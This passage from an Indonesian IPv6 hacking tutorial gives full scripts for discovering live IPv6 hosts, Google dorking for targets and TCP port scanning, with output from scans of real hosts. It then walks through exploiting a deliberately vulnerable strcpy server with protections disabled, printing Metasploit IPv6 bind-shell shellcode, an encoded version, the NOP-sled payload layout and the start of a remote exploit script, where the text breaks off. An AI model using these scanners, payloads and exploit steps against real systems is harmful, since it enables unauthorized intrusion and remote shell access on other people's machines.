![Page 13: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/13.jpg)
2001:44B8:8020:F501:250:56FE:FEB3:66352001:44B8:8020:F501:250:56FE:FEB3:66362001:44B8:8020:F501:250:56FE:FEB3:6637(dst)
Langkah selanjutnya adalah mencari tahu/menemukan IPv6 mana saja yang hidup/aktif. Gunakan bantuan tools 'isalive6.py' atau 'isalive6.pl'yang juga sudah terbendle pada ipv6-hackit. Tools ini masing-masing ada pada direktori 'ipv6-hackit/python/' dan 'ipv6-hackit/perl/'
#!/usr/bin/env python# isalive6.py is provided by Ph03n1X# Thread is modified from:# Tutorial on Threads Programming with Python by Norman Matloff &# Francis Hsu
import sys,os,re,time,threading
class ping6(threading.Thread): ping6list = [] #Using 10 threads is just too slow. maxthreads = 10 #But increasing this number is bad idea :) evnt = threading.Event() lck = threading.Lock()
def __init__(self,cnt,ip): threading.Thread.__init__(self); self.ip = ip self.status = -1 self.count = cnt
def run(self): logfile = open("isalive6.log","a") pin,pout,perr = os.popen3("ping6 -c2 -s 0 "+self.ip,"r") pin.close() cmdout = pout.readlines() igot = re.search("8 bytes from",cmdout[1]) if igot: print str(self.count)+" : [REACHED] "+self.ip record = str(self.count)+" : [REACHED] "+self.ip+"\n" logfile.write(record) else: print str(self.count)+" : [NOT REACHED] "+self.ip logfile.close() ping6.lck.acquire() ping6.ping6list.remove(self) if len(ping6.ping6list) == ping6.maxthreads-1: ping6.evnt.set() ping6.evnt.clear() ping6.lck.release()
def newthread(count,hst): ping6.lck.acquire() pg6 = ping6(count,hst) ping6.ping6list.append(pg6) ping6.lck.release() pg6.start() newthread = staticmethod(newthread)
![Page 14: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/14.jpg)
def main(): if len(sys.argv) !=2: print "Usage : python " + sys.argv[0] + " <IPv6 List File>" sys.exit(0);
os.unlink("isalive6.log") print time.ctime() n = 1 input = open(sys.argv[1],"r") for host in input: ping6.lck.acquire() if len(ping6.ping6list) >= ping6.maxthreads: ping6.lck.release() ping6.evnt.wait() else: ping6.lck.release() ping6.newthread(n,host.rstrip()) n+=1
for pingle in ping6.ping6list: pingle.join()
print time.ctime() print "Total Host Scanned : %i"%(n)
if __name__ == '__main__': main()
# This code is somewhat buggy when route to the unreachable network
Untuk menggunakan isalive6.py, ketikkan perintah pada shell linux:
python isalive6.py <IPv6 List File>contoh : python isalive6.py ipv6.out
Hasil discovery host yang aktif disimpan pada file 'isalive6.log',sedangkan proses discovery secara keseluruhan ditampilkan pada stdout(monitor).
1 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:66312 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:66323 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:66337 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:66374 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:66345 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:66358 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:66386 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:66369 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:663910 : [NOT REACHED] 2001:44B8:8020:F501:250:56FE:FEB3:663A19 : [REACHED] 2001:44B8:8020:F501:250:56FF:FEB3:6633
Code isalive6.py di atas saya pikir telalu lambat ditambah lagi maximumthread hanya 10 yang membuat proses pencarian IPv6 live host menjaditidak efektif. Maximum thread hanya saya batasi 10 saja karena denganjumlah thread > 10, kombinasi os.popen3() atau os.popen() dengan threadsering berakibat pada terminasi eksekusi isalive6.py dengan background problem yang sampai saat ini belum saya ketahui (ada yang mau cari tahu?).
![Page 15: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/15.jpg)
Saya mencoba menulis ulang code tersebut dengan library scapy ternyatajuga belum memuaskan bahkan sering terjadi infinite loop pada saatpengiriman ICMPv6 echo request dengansr1(IPv6(dst="xxx")/ICMPv6EchoRequest())
Sebuah cara yang lebih elegan untuk mencari live IPv6 Host di internetyaitu dengan memanfaatkan record DNS IPv6. Sebuah IPv6 Host diwakilioleh record AAAA. Yang saya lakukan berikut ini adalah mencari domain diinternet secara acak dengan bantuan google kemudian di test apakahdomain tersebut memiliki record AAAA. Untuk melakukan kedua aktifitastersebut saya membuat code 'google6.pl' dan 'get4A.sh'. Dengan kedua code tersebut proses pencarian lebih terotomatisasi. Pertama sayamembuat daftar domain dengan google keyword inurl:ipv6.*
perl google6.pl inurl:ipv6.*
Hasil daftar domain dicatat pada file google_log-co.txt dan ditampilkanke stdout kira kira sebagai berikut:
www.ipv6.org.twtunnelbroker.net6bone.informatik.uni-leipzig.dewww.ipv6.orgwww.sixxs.netwww.cisco.comipv6.netgo6.netipv6.he.netwww.cyberciti.bizwww.global-ipv6.net(dst)
code google6.pl adalah sebagai berikut:
#!/usr/bin/perl# google.pl is provided by Ph03n1X
require LWP::UserAgent;use HTTP::Message;use strict;use warnings;#$proxy='http://127.0.0.1:3128';
print "Google Console\n";if(!$ARGV[0]){ print "usage : perl $0 <dork>\n"; exit;}
my $dork=$ARGV[0];my $ua = LWP::UserAgent->new;$ua->timeout(30);$ua->agent("MSIE/6.0 Windows");#$ua->proxy(http => $proxy) if defined($proxy);my $counter=0;my $dataget="";my $result="";my $host="";my $domain="";print "Googling using keyword : $dork\n";
![Page 16: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/16.jpg)
while($result !~ /hasil penyajian/){ my $googleurl="http://www.google.com/search?q=" . $dork . "&hl=id&lr=&start=" . $counter . "&sa=N"; my $grabresponse = $ua->get($googleurl); $counter=$counter+10; if (!($grabresponse->is_success)) { print ($grabresponse->status_line. " [FAILURE]\n"); } else { my @hasil = $grabresponse->as_string; $result="@hasil"; sleep 1; if($result =~ /tak cocok/) { print "no result's found!\n"; exit; } while($result =~ m/<h3 class=r><a href=".*?" .*?/) { $result =~ s/<h3 class=r><a href="(.*?)" .*?/$1/; $host = $1; if ($host =~ m/^http:/){ $host =~ s/http:\/\/(.*?)\//$1/; $domain = $1; } if ($host =~ m/^https:/){ $host =~ s/https:\/\/(.*?)\//$1/; $domain = $1; }
print $domain . "\n"; open(OFILE,">>google_log-co.txt"); print OFILE $domain . "\n"; close(OFILE); } }}print "\nDONE!\n";# End of file
Selanjutnya saya menggunakan 'get4A.sh' mencari domain mana saja yangmemiliki record AAAA. Record AAAA tersebut dicatat dalam file danditampilkan ke stdout. File get4A.sh ada pada direktori 'ipv6-hackit/sh/'sebagai berikut:
#!/bin/sh# This get4A.sh is provided by Ph03n1X
LOGFILE="4A-record.txt";if [ -z "$1" ]then echo "$0 <domain list>" exit;fi
for DOMAIN in `cat $1`do
![Page 17: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/17.jpg)
echo "Digging $DOMAIN (wait)" dig -t AAAA $DOMAIN|grep AAAA|grep -v \;|awk '{print "["$1"] "$5}'; dig -t AAAA $DOMAIN|grep AAAA|grep -v \;|awk '{print "["$1"] "$5}' >> $LOGFILE;done#EOF
Domain yang diketahui memiliki IPv6 dicatat pada file 4A-record.txt yangisinya kurang lebih adalah:
[www.ipv6forum.com.] 2001:a18:1:20::42[www.ipv6ready.org.] 2001:468:603:c001::5[www.ipv6.org.tw.] 2001:c50:ffff:1:21a:92ff:fe43:d665[tunnelbroker.net.] 2001:470:0:63::2[ns2.he.net.] 2001:470:200::2[ns3.he.net.] 2001:470:300::2[ns4.he.net.] 2001:470:400::2[ns5.he.net.] 2001:470:500::2[6bone.informatik.uni-leipzig.de.] 2001:638:902:1::11[www.m.sixxs.net.] 2001:838:1:1:210:dcff:fe20:7c7c[ipv6.net.] 2a00:1188:3:c::80(dst)
Dengan mendapatkan daftar record AAAA dan mengkombinasikannya dengankode buildipv6.pl dan isalive6.py atau isalive6.pl, proses discoveryIPv6 bisa menjadi lebih efektif. Coba anda perhatikan perubahan polaalamat ipv6 pada NS he.net. Paham polanya kan? perhatikan bit 33-48 jikamasih belum mengerti. Gunakan pola ini untuk menyusun range IPv6 addressmenggunakan buildipv6.pl kemudian lakukan enumerasi dengan isalive6.pyatau isalive6.pl.
Saya menggunakan isalive6.pl untuk menentukan host mana saja yang aktifkarena proses enumerasi menggunakan kode ini lebih cepat. Kode initidak menggunakan thread tetapi memanfaatkan fork. Jumlah child prosesyang digunakan adalah 100 buah.
#!/usr/bin/perl# isalive6.pl is provided by Ph03n1X# I use fork() to simplify this code even it is not as effective# as using threading in memory.
use strict;use warnings;use Switch;use POSIX;
my $LOGFILE = "isalive6.log";my $MAX_CHILD = 100;
MAIN:{
my @IPV6LIST;
if(!$ARGV[0]){ print "usage : perl $0 <IPv6 List File>\n"; exit; }
![Page 18: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/18.jpg)
open(LIST,"<$ARGV[0]") or die(); chop(@IPV6LIST=<LIST>); my $len = @IPV6LIST; my $i = 0; my $j = 0; while ($j <= $len){ switch (fork()){ case (0) { doping6($j,$IPV6LIST[$j]);_exit(0); } case (-1) { print "Can not fork!\n";_exit(-1); } else { if($i>$MAX_CHILD-2){ wait();$i--; } } } $i++;$j++; }
print "Total Host Scanned : " . $i+1 . "\n"; close(LIST);}
sub doping6{ my($tid,$ipv6host) = @_;
open(OFILE,">>$LOGFILE"); my @pinglist = `ping6 -c2 -s0 $ipv6host`; my $result = "@pinglist";
if($result =~ m/8 bytes from/){ print $tid . " : [REACHED] " . $ipv6host . "\n"; print OFILE "[REACHED]" . $ipv6host . "\n"; }else{ print $tid . " : [NOT REACHED] " . $ipv6host . "\n"; } close(OFILE);
}
Hasil enumerasi IPv6 host yang aktif ditampilkan ke stdout dan disimpandalam file seperti hasil isalive6.py.
Tahap selanjutnya pada proses hacking setelah menemukan host aktifadalah menemukan service/layanan/port yang aktif pada host tersebut.Untuk melakukan scanning port pada IPv6 host, saya membuat dua buah portscanner ditulis dalam kode python dan perl. Port scanner pythonmenggunakan threading untuk mempercepat proses scanning tetapi hanyamensupport alamat IPv6 unicast dan tidak alamat IPv6 link-local. Port scanner perl menggunakan fork untuk mempercepat proses scanning dan mensupport baik alamat IPv6 unicast maupun multicast termasuk link-local.Port scanner tersebut masing-masing ada di ipv6-hackit/perl/tcpscan6.pldan ipv6-hackit/python/tcpscan6.py.
Silakan gunakan kedua port scanner tersebut sesuai kebutuhan anda. Untukselanjutnya saya menggunakan tcpscan6.pl dalam melakukan scanning port.Kode tcpscan6.pl adalah sebagai berikut:
![Page 19: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/19.jpg)
#!/usr/bin/perl# Port scanner tcpscan6.pl coded by Ph03n1X
#cpan IO::Socket::INET6use IO::Socket::INET6;use Getopt::Long;use strict;use warnings;use Switch;use POSIX;
my $MAX_CHILD = 50;my $LOGFILE = "tcpscan6.log";my $i=0;
sub doTcpscan6{ my ($host,$port) = @_; open (WFILE,">>$LOGFILE"); my $s = IO::Socket::INET6->new(PeerAddr => $host, PeerPort => $port, Domain => AF_INET6, Timeout => 5); if($s){ print "[OPEN] $host on $port\n"; print WFILE "[OPEN] $host on $port\n"; }else{ print "[CLOSE/FIREWALL] $host on $port\n"; } close(WFILE);}
sub doFork{ my ($host,$port,$count) = @_; switch(fork()){ case (0) { doTcpscan6($host,$port);_exit(0); } case (-1) { print "Can not fork!\n";_exit(-1); } else { if($port>$MAX_CHILD-2){ wait();$count--; } } }}
sub usage{ print " TCP IPv6 Scanner Usage : [--help|-h] - This help [--target|-t] - Target single IPv6 address [--in-file|-i] - Target list of IPv6 address in file [--port|-p] - Target port. Multiple ports separated by comma [--range|-r] - Target range port. Ex : 100-200 \n";}
![Page 20: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/20.jpg)
MAIN:{
my @IPV6LIST; if(!$ARGV[0]){ usage(); exit; }
my ($help,$target,$infile,$mport,$rport);
GetOptions( 'help' => \$help, 'target=s' => \$target, 'in-file=s' => \$infile, 'port=s' => \$mport, 'range=s' => \$rport, ) or die "Invalid options!! Try --help for details.\n";
if($help){ usage(); exit; } if($target && $infile){ print "ERROR! Can not use [--target|-t] with [--in-file|-i]\n"; exit; } if($mport && $rport){ print "ERROR! Can not use [--port|-p] with [--range|-r]\n"; exit; } my $count=1; if($target){ if($target =~ m/(\d+)\.(\d+)\.(\d+)\.(\d+)/){ print $target . " is not valid IPv6 address!\n"; exit; } if($mport){ my @allport = split(',',$mport); foreach my $port (@allport){ doFork($target,$port,$count); $count++; } } if($rport){ my @allport = split('-',$rport); my $lowport = $allport[0]; my $highport = $allport[1]; if($lowport>$highport){ print "ERROR! Left port must be lower than in the right!\n"; exit; } for(my $i=$lowport;$i<=$highport;$i++){ doFork($target,$i,$count); $count++; } } }
![Page 21: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/21.jpg)
if($infile){ open(RFILE,"<$infile") or die(); chop(@IPV6LIST=<RFILE>); my $len = @IPV6LIST; my $j=0; for($j=0;$j<$len;$j++){ if($IPV6LIST[$j] =~ m/(\d+)\.(\d+)\.(\d+)\.(\d+)/){ print $IPV6LIST[$j] . " is not valid IPv6 address!\n"; exit; }
if($mport){ my @allport = split(',',$mport); foreach my $port (@allport){ doFork($IPV6LIST[$j],$port,$count); $count++; } }
if($rport){ my @allport = split('-',$rport); my $lowport = $allport[0]; my $highport = $allport[1]; if($lowport>$highport){ print "ERROR! Left port must be lower than in the right!\n"; exit; } for(my $k=$lowport;$k<=$highport;$k++){ doFork($IPV6LIST[$j],$k,$count); $count++; } } } close(RFILE); } #end if infile}
Untuk mengetahui cara menggunakan tcpscan6.pl cukup ketikkan di shelllinux/unix 'perl tcpscan6.pl --help'.
TCP IPv6 Scanner Usage : [--help|-h] - This help [--target|-t] - Target single IPv6 address [--in-file|-i] - Target list of IPv6 address in file [--port|-p] - Target port. Multiple ports separated by comma [--range|-r] - Target range port. Ex : 100-200
anto@h4x0r$ cat tcp6.log2001:44B8:8020:F501:250:56FF:FEB3:6633www.jp.freebsd.org10.1.1.254anto@h4x0r$ perl tcpscan6.pl --in-file tcp6.log -r 20-2510.1.1.254 is not valid IPv6 address![CLOSE/FIREWALL] www.jp.freebsd.org on 20[OPEN] www.jp.freebsd.org on 22[CLOSE/FIREWALL] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 20[CLOSE/FIREWALL] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 21
![Page 22: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/22.jpg)
[CLOSE/FIREWALL] www.jp.freebsd.org on 21[OPEN] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 22[CLOSE/FIREWALL] www.jp.freebsd.org on 24[CLOSE/FIREWALL] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 23[CLOSE/FIREWALL] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 24[CLOSE/FIREWALL] www.jp.freebsd.org on 23[CLOSE/FIREWALL] www.jp.freebsd.org on 25[CLOSE/FIREWALL] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 25anto@h4x0r$ cat tcpscan6.log[OPEN] 2001:44B8:8020:F501:250:56FF:FEB3:6633 on 22[OPEN] www.jp.freebsd.org on 22anto@h4x0r$ perl tcpscan6.pl --target www.jp.freebsd.org -p 21,22,23,25,80,110[CLOSE/FIREWALL] www.jp.freebsd.org on 21[OPEN] www.jp.freebsd.org on 22[OPEN] www.jp.freebsd.org on 80[CLOSE/FIREWALL] www.jp.freebsd.org on 23[CLOSE/FIREWALL] www.jp.freebsd.org on 25[CLOSE/FIREWALL] www.jp.freebsd.org on 110anto@h4x0r$ cat tcpscan6.log[OPEN] www.jp.freebsd.org on 22[OPEN] www.jp.freebsd.org on 80anto@h4x0r$
Proses scanning port TCP berjalan dengan baik. Hasilnya ditampilkan kestdout dan disimpan dalam file 'tcpscan6.log'. Ipv6-hackit yang saya susunhanya mensupport enumerasi live host dan scanning berbasiskan TCP. Andabisa menciptakan sendiri port scanner berbasiskan SYN packet untuk IPv6dengan memahami apa yang saya paparkan di 'ipv6-hackit/perl/tcpscan6.pl'dan mengkoding ulang kode tersebut menggunakan library scapy pada'ipv6-hackit/test/oport6-syn.py'. Atau anda menginginkan untuk melakukanscanning versi layanan/service ditiap port yang terbuka? Anda bisa menambahkan fungsi recv() untuk mengambil tiap banner dari layanan yang aktif.
Anda bisa juga mengkombinasi scanner pada ipv6-hackit dengan 'nmap -6'untuk berbagai keperluan. Saat ini 'nmap -6' hanya mensupport enumerasilive host dan scanning berbasiskan TCP saja layaknya ipv6-hackit. ToolsIPv6 Scanner yang lain bisa ditemui di internet adalah:
- strobe berjalan di linux- scan6 berjalan di windows- halfscan6 berjalan di linux- netcat6 berjalan di linux (windows?)- thc-ipv6/alive6 berjalan di linux
Proses enumerasi dan scanning host pada IPv6 memang menjadi challangetersendiri karena banyaknya jumlah IPv6 yang mungkin. Oleh karena itu saya rekomendasikan untuk mengkombinasi dan mengcustom setiap tools yang anda gunakan.
--[7]-- Writing Remote Exploit & Shellcoding
IPv6 menggunakan socket yang berbeda dengan IPv4 sehingga exploit yangberedar saat ini di internet tidak bisa digunakan begitu saja untukmengeksploitasi aplikasi/layanan IPv6. Exploit yang ada saat ini bisadiporting sehingga menggunakan socket kompatible IPv6 atau bisa jugadirelay/proxy untuk mengeksploitasi IPv6 melalui IPv4. Hal yangcenderung lebih rumit adalah mengenai shellcode/payload yang digunakan
![Page 23: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/23.jpg)
exploit tersebut. Shellcode harus dikode ulang agar berjalan di IPv6.
Berbagai celah keamanan sering ditemukan pada software sehingga bisadieksploitasi secara remote. Celah kemanan tersebut bisa berupa bufferoverflow(stack/heap), format string, off by one dan lainnya. Exploitasicelah keamanan tersebut sering digunakan untuk mengambil alih komputeryang vulnerable.
--[7.1]-- Exploitasi Stack Based Buffer Overflow
Buffer overflow merupakan celah keamanan yang sudah sangat tua tetapimasih banyak sekali software yang memiliki celah tersebut. Exploitasibuffer overflow pertama kali didokumentasikan oleh aleph1 pada Phrackmagazine issue 49 tahun 1996 [xii]. Aleph1 menjelaskan konsep bufferoverflow dengan sangat baik sehingga tidak perlu bagi saya untukmenjelaskan ulang apalagi tutorial tentang buffer overflow saat inisudah sangat banyak dijumpai di internet baik dalam bahasa inggrismaupun bahasa indonesia.
Sebuah tantangan tersendiri bagi para hacker dalam melakukan exploitasibuffer overflow adalah bagaimana membypass proteksi keamanan yang saatini semakin kompleks. Proteksi terhadap exploitasi stack based bufferoverflow meliputi:
- Non-executable stack, untuk membypassnya digunakan teknik yang dikenal dengan return-to-libc-attack.- Randomized virtual address digunakan oleh hampir semua distro linux saat ini, untuk membypassnya bisa memanfaatkan informasi dari linux-gate.so. [xiii]- Exec-shield digunakan oleh linux redhat dan turunannya, untuk membypassnya silakan mengacu pada artikel yang ditulis oleh inetcop security. [xiv]- Stack-smashing protection (SSP), proteksi buffer overflow dilevel kompiler. Saya belum menemukan referensi yang cukup detail untuk membypass jenis proteksi ini. Ada yang tahu? Bagi referensinya :)
Pada percobaan ini saya menggunakan Ubuntu 8.10 yang default installasinya sudah memproteksi buffer overflow dengan randomized virtual address dan Stack-smashing protection.
Tulisan ini tidak hendak membahas bagaimana membypass proteksi bufferoverflow, tetapi lebih pada bagaimana menulis exploit remote bufferoverflow pada layanan yang berjalan di IPv6. Oleh karena itu sayamendisable kedua fitur security tersebut dengan cara sebagai berikut:
sysctl kernel.randomize_va_space=0 (Disable randomize VA)gcc -fno-stack-protector (Disable stack-smashing protection)
Pada dasarnya proses exploitasi remote buffer overflow pada IPv4 danIPv6 cenderung sama. Yang membedakan adalah socket dan shellcode yangdigunakan. Untuk mengilustrasikan proses eksploitasi tersebut, sayamenggunakan kode C yang dibuat vulnerable sebagai berikut:
//server-demo6.c#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>#include <stdio.h>#include <netdb.h>
![Page 24: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/24.jpg)
#include <string.h>#include <stdlib.h>#define PORT "55555"
int readbuff(char *str){ char got[200]; strcpy(got,str); printf("MSG = %s\n",got); return 0;}
int main(int argc, char *argv[]){ struct sockaddr_in6 from; struct addrinfo req, *ans; int code, s, s2, len, retval; char buff[1024];
memset(&req, 0, sizeof(req)); req.ai_flags = AI_PASSIVE; req.ai_family = AF_INET6; req.ai_socktype = SOCK_STREAM; req.ai_protocol = 0;
retval = getaddrinfo(NULL,PORT,&req,&ans); if(retval!=0){ printf("ERROR!getaddrinfo\n"); exit(1); } s = socket(ans->ai_family, ans->ai_socktype, ans->ai_protocol); if(s<0){ printf("ERROR!socket\n"); exit(1); } if (bind(s, ans->ai_addr, ans->ai_addrlen) < 0){ printf("ERROR!bind\n"); exit(1); } listen(s,5); while(1){ s2,len = sizeof(from); s2 = accept(s, (struct sockaddr *) &from, &len); if(s2<0){ continue; } send(s2,"IPv6 Demo Server v0.01\n\r",32,0); recv(s2,buff,sizeof(buff),0); readbuff(buff); close(s2); } freeaddrinfo(ans); exit(0);}
Pada fungsi readbuff(), variable 'got' didefinisikan sebagai array denganukuran 200 bytes. Fungsi strcpy() melakukan pengcopy-an isi variable 'str' ke variable 'got' tanpa melakukan pengecekan ukuran variable'str'. Dari fungsi main(), readbuff() dipanggil dengan menambahkanparameter berupa variable 'buff' yang nilainya bisa diubah ubah oleh
![Page 25: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/25.jpg)
user. Nilai 'str' pada fungsi readbuff() merupakan nilai 'buff' padafungsi main(). Ketika user menginputkan string lebih dari 200 bytes ke variable 'buff', ukuran variable 'got' tidak mencukupi jumlah stringtersebut. Kondisi inilah yang dikenal dengan buffer overflow.
gcc -o server-demo6 -fno-stack-protector server-demo6.cgdb -q ./server-demo6(gdb) rStarting program: /home/anto/k-elektronik/code/exploit/server-demo6
Kompile file IPv6 server demo tersebut menggunakan 'gcc', kemudian lakukan debugging menggunakan 'gdb'. Proses ini saya lakukan darikomputer dengan alamat IPv6 2010:5c0:1441:a0a:8891:afaf:7660:5401/64.Ketika IPv6 server demo itu dijalankan, dia membuka layanan di port 55555/tcp. Untuk selanjutnya komputer ini saya sebut dengan PCSERV.
Proses exploitasi PCSERV saya lakukan dari komputer lain dijaringandengan alamat IPv6 2010:5c0:1441:a0a:8891:afaf:7660:5403/64. Untukselanjutnya komputer ini saya sebut dengan PCATTCK.
PCATTCK attack~> sudo apt-get install netcat6attack~> echo AAAAAAA|nc6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555IPv6 Demo Server v0.01attack~> echo `perl -e 'print "A"x250'`|nc6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555IPv6 Demo Server v0.01
PCSERV
(gdb) rStarting program: /home/anto/k-elektronik/code/exploit/server-demo6MSG = AAAAAAAxæü =MSG = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿4è
Program received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()(gdb) i reax 0x0 0ecx 0x0 0edx 0xb7fd10d0 -1208151856ebx 0xb7fcfff4 -1208156172esp 0xbffff7b0 0xbffff7b0ebp 0x41414141 0x41414141esi 0x8048830 134514736edi 0x8048580 134514048eip 0x41414141 0x41414141eflags 0x10292 [ AF SF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0
![Page 26: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/26.jpg)
gs 0x33 51
PCATTCK menginstall netcat dengan support IPv6, pertama PCATTCKmengirimkan 7 bytes karakter A dan diterima PCSERV. Selanjutnya PCATTCKmengirimkan 250 bytes karakter A dan diterima PCSERV dalam kondisicrash. Gdb menunjukkan bahwa register EIP teroverwrite oleh karakter Atersebut (A dalam hexal 0x41).
Untuk mengeksploitasi lebih jauh, kita harus mengetahui offset programyang vulnerable. Untuk mengetahui offset program, kita bisa menggunakantools pada metasploit yaitu tools/pattern_create.rb dan tools/pattern_offset.rb. Untuk program sederhana di atas anda bisa mengetahuinilai offset tanpa harus repot repot yaitu 204.
Setelah mengetahui offset program, selanjutnya adalah menentukanshellcode yang akan digunakan untuk mengambil alih program tersebut.Metasploit memiliki 3 shellcode dengan support IPv6 untuk linux/x86yaitu:
linux/x86/shell/bind_ipv6_tcp shellcode ini ada dua stage, stage pertama binding pada port TCP, stage kedua mengeksekusi /bin/sh. linux/x86/shell/reverse_ipv6_tcp shellcode ini ada dua stage, stagepertama connect-back pada port TCP melalui IPv6, stage kedua mengeksekusi /bin/sh.
linux/x86/shell_bind_ipv6_tcp shellcode melakukan port binding pada portTCP sekaligus mengeksekusi /bin/sh.
Jika assembly anda cukup keren, buatlah shellcode sendiri untuk memenuhi kebutuhan anda. Pada artikel ini saya menggunakan shellcode linux/x86/shell_bind_ipv6_tcp metasploit.
attack~> ./msfpayload linux/x86/shell_bind_ipv6_tcp perl# linux/x86/shell_bind_ipv6_tcp - 90 bytes# http://www.metasploit.com# AppendExit=false, PrependChrootBreak=false,# PrependSetresuid=false, PrependSetuid=false, LPORT=4444,# RHOST=, PrependSetreuid=falsemy $buf ="\x31\xdb\x53\x43\x53\x6a\x0a\x89\xe1\x6a\x66\x58\xcd\x80" ."\x96\x99\x52\x52\x52\x52\x52\x52\x66\x68\x11\x5c\x66\x68" ."\x0a\x00\x89\xe1\x6a\x1c\x51\x56\x89\xe1\x43\x6a\x66\x58" ."\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x52\x52\x56\x89\xe1\x43" ."\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8" ."\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53" ."\x89\xe1\xb0\x0b\xcd\x80";
Shellcode di atas memiliki NULL karakter (\x00) sehingga tidakinjectable. NULL karakter dianggap sebagai terminasi sebuah stringsehingga harus dihilangkan. Untuk itu saya mengencode shellcodetersebut.
attack~> ./msfpayload linux/x86/shell_bind_ipv6_tcp R > /tmp/xxhattack~> ./msfencode -i /tmp/xxh -b '\x00' -t perl[*] x86/shikata_ga_nai succeeded with size 118 (iteration=1)
my $buf ="\x33\xc9\xb1\x17\xdb\xdf\xd9\x74\x24\xf4\xbb\xeb\xfe\xc9" .
![Page 27: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/27.jpg)
"\xcd\x5a\x31\x5a\x16\x03\x5a\x16\x83\xc2\x04\xe2\x1e\xcf" ."\x12\x9e\xa3\x63\xcf\x2b\xaa\x65\x65\x4a\xf4\xa8\xfa\x04" ."\x9d\x61\xa9\x7a\xcf\xd7\x1f\x1d\x87\xc6\xc3\x87\x3f\xe3" ."\xfb\xce\x5e\x99\xe7\x81\xf6\xd7\xf9\x61\x9c\x81\xa1\xa8" ."\xe0\xfe\x34\x80\xe4\x33\x38\xb4\xb6\x9d\xb0\xd8\x75\x92" ."\xa5\xd7\xf9\x41\x70\x82\xc6\x3d\x4e\xd2\x71\xc7\xa8\xbb" ."\xae\x18\x3a\x54\xd8\x49\xde\xcd\x76\x1f\xfd\x5e\xd5\x96" ."\xe3\xef\xd2\x65\x63\x05";
Shellcode hasil encoding memiliki ukuran 118 bytes. Untuk keperluanexploitasi kita harus menentukan alamat register stack (ESP) yang bisadi eksploitasi agar shellcode di atas dieksekusi oleh register EIP.Program kita memiliki offset 204 sehingga kita harus menyusun data untukdikirim ke vulnerable program sebagai berikut:
4 bytes EIP118 bytes shellcode204-118 = 86 bytes NOP (\x90)
---------------------------------------------------- | 86 bytes NOP | 118 bytes shellcode | 4 bytes EIP | ----------------------------------------------------
Dari PCATTCK, kirimkan data tersebut menggunakan dummy eksploit berikutke PCSERV.
#!/usr/bin/perl# Remote Exploit Demo rexploit-demo6.pl by Ph03n1X
use strict;use warnings;#cpan IO::Socket::INET6use IO::Socket::INET6;
if(!$ARGV[1]){ print $0 . " <IPv6 Address> <Port>\n"; exit;}
if($ARGV[0] =~ m/(\d+)\.(\d+)\.(\d+)\.(\d+)/){ print $0 . " is not IPv6 family\n"; exit;}
